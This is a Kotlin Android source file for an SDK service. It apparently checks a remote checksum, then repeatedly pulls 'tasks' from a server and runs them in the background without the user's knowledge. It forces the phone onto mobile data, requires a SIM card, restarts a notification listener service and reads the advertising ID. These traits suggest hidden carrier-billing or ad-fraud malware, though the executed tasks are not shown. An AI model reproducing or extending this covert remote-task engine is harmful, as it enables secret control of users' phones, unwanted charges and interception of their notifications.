package com.example.vastlib.service

import android.annotation.SuppressLint
import android.content.Context
import android.os.SystemClock
import com.example.vastlib.BuildConfig
import com.example.vastlib.entity.http.Request
import com.example.vastlib.entity.request.BaseRequestBuilder
import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.utils.*
import com.example.vastlib.utils.HttpUtils.HttpRequest.call
import com.example.vastlib.utils.JSONUtils.toJsonString
import kotlinx.coroutines.*
import kotlinx.coroutines.flow.MutableStateFlow
import java.util.concurrent.atomic.AtomicReference
import kotlin.time.ExperimentalTime
import kotlin.time.measureTime

sealed class TaskEvent {
    object Waiting : TaskEvent()
    object RequestData : TaskEvent()
    data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
}

class SdkMainService private constructor() {
    private lateinit var context: Context
    private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var isTaskRunning = AtomicReference(false)
    private var nextRequestTine: Long = 0
    private var state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Waiting)
    private var isVerified = false
    companion object {
        private const val DEFAULT_REQUEST_TASK_INTERVAL = (5 * 60 * 1000).toLong()

        //每个任务最多执行五分钟
        private const val TASK_MAX_EXEC_TIME = (6 * 60 * 1000).toLong()

        @SuppressLint("StaticFieldLeak")
        private var instance: SdkMainService? = null
        private val lock: Any = Any()

        operator fun invoke(): SdkMainService = instance ?: synchronized(lock) {
            instance ?: SdkMainService().apply {
                instance = this
            }
            return instance!!
        }
    }

    @OptIn(ExperimentalTime::class)
    fun start(ctx: Context) {
        taskScope.launch {
            if (!isVerified) {
                isVerified = checkState()
            }
            LogUtils.info("ver:$isVerified")
            if (!isVerified) return@launch
            if (::context.isInitialized) return@launch
            context = ctx
            AndroidIdManager.init(context)
            taskScope.launch {
                run()
            }

            taskScope.launch {
                state.collect { event ->
                    when (event) {
                        TaskEvent.RequestData -> {
                            LogUtils.info("SdkMainService try get task")
                            val taskResponse = getTasks()
                            if (taskResponse == null) {
                                nextRequestTine =
                                    SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
                                state.emit(TaskEvent.Waiting)
                            } else {
                                nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
                                if (taskResponse.tasks.isEmpty()) {
                                    TaskEvent.Waiting
                                } else {
                                    TaskEvent.RunTask(taskResponse)
                                }.run {
                                    state.emit(this)
                                }
                            }
                        }
                        is TaskEvent.RunTask -> {
                            kotlin.runCatching {
                                val taskResponse = event.taskResponse
                                if (NetworkManager.isMetered(context) &&
                                    NetworkManager.haveChangeNetworkPermission(context)
                                ) {
                                    NetworkController.getInstance().init(context)
                                        .switchNetworkToGprs()
                                    var count = 0
                                    while (isActive && NetworkController.getInstance().switchSuccess && count < 10) {
                                        delay(1000)
                                        count++
                                    }
                                    if (!NetworkController.getInstance().switchSuccess) {
                                        nextRequestTine =
                                            taskResponse.requestInterval.nextRequestCoerceIn()
                                        state.emit(TaskEvent.Waiting)
                                        return@collect
                                    }
                                }
                                context.restartNotificationListenerServiceState()
                                isTaskRunning.set(true)
                                val userId = AndroidIdManager.getAdId()
                                measureTime {

                                    taskResponse.tasks.map {
                                        async {
                                            TaskExecService(it, taskResponse, userId, context).runTask(
                                                TASK_MAX_EXEC_TIME
                                            )
                                        }
                                    }.toList().awaitAll()
                                }.apply {
                                    LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed")
                                }

                                NetworkController.getInstance().restore()
                                nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
                                isTaskRunning.set(false)
                                TaskEvent.Waiting
                            }.onFailure {
                                LogUtils.error(it)
                                isTaskRunning.set(false)
                                nextRequestTine =
                                    SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
                                TaskEvent.Waiting
                            }.getOrElse {
                                TaskEvent.Waiting
                            }.apply {
                                state.emit(this)
                            }
                        }

                        else -> {
                            delay(500)
                        }
                    }
                }
            }
        }
    }

    private suspend fun getTasks(): TaskResponse? {
        kotlin.runCatching {
            val response = buildTaskRequest().call()
            if (response.code == 200 && response.data.isNotEmpty()) {
                return parseApiResponseTask(response.data)
            }
        }.onFailure {
            LogUtils.error(it, "Get Task failed")
        }
        return null
    }

    private fun parseApiResponseTask(data: ByteArray): TaskResponse? =
        JSONUtils.TaskReposeParser(data).parse()

    private fun buildTaskRequest(): Request = Request(
        url = BuildConfig.task_api,
        headers = mapOf(
            HttpUtils.Params.REQUEST_HEADER_CONTENT_TYPE to HttpUtils.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM,
            HttpUtils.Params.REQUEST_HEADER_ACCEPT to HttpUtils.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM
        ),
        method = HttpUtils.Params.REQUEST_METHOD_POST,
        body = BaseRequestBuilder(context).taskRequest.run {
            this.toJsonString().toByteArray()
        }
    )

    private suspend fun run() = withContext(Dispatchers.IO) {
        while (isActive) {
            kotlin.runCatching {
                AndroidIdManager.getAdId()

                if (isTaskRunning.get() ||
                    state.value != TaskEvent.Waiting ||
                    SystemClock.elapsedRealtime() <= nextRequestTine ||
                    !NetworkManager.hasSimCard.invoke(context) ||
                    NetworkManager.airModeOn.invoke(context)
                ) {
                    delay(400)
                    state.emit(TaskEvent.Waiting)
                    return@runCatching
                }

                if (!NetworkManager.networkAvailable.invoke(context)) {
                    NetworkManager.repairNetwork.invoke(context)
                    delay(1000)
                }
                if (!NetworkManager.networkAvailable.invoke(context)) {
                    delay(400)
                    state.emit(TaskEvent.Waiting)
                    return@runCatching
                }

                state.emit(TaskEvent.RequestData)
            }
        }
    }

    fun Int.nextRequestCoerceIn(): Long {
        return (if (this <= 0 || this > 24 * 60) 6 * 60 else this) * 60_000 + SystemClock.elapsedRealtime()
    }

    private suspend fun checkState(): Boolean {
        Request(BuildConfig.chcikUrl, method = "GET").call().run {
            val result = String(data)
            LogUtils.info("checkSum: $result")
            return result == BuildConfig.checkSum
        }
    }

}